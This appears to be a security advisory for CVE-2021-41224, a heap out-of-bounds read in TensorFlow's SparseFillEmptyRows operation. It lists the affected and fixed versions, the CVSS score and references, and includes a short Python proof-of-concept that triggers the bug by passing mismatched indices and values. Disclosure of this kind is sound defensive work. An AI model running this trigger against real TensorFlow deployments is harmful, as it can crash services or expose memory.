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  5. CVE-2021-41224

CVE-2021-41224: `SparseFillEmptyRows` heap OOB

November 10, 2021 (updated November 13, 2024)

The implementation of SparseFillEmptyRows can be made to trigger a heap OOB access:

import tensorflow as tf

data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')

This occurs whenever the size of indices does not match the size of values.

References

  • github.com/advisories/GHSA-rg3m-hqc5-344v
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-633.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-831.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-416.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-rg3m-hqc5-344v
  • nvd.nist.gov/vuln/detail/CVE-2021-41224

Code Behaviors & Features

Detect and mitigate CVE-2021-41224 with GitLab Dependency Scanning

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Affected versions

All versions before 2.4.4, all versions starting from 2.5.0 before 2.5.2, all versions starting from 2.6.0 before 2.6.1

Fixed versions

  • 2.6.1
  • 2.5.2
  • 2.4.4

Solution

Upgrade to versions 2.4.4, 2.5.2, 2.6.1 or above.

Impact 7.1 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow/CVE-2021-41224.yml

Spotted a mistake? Edit the file on GitLab.

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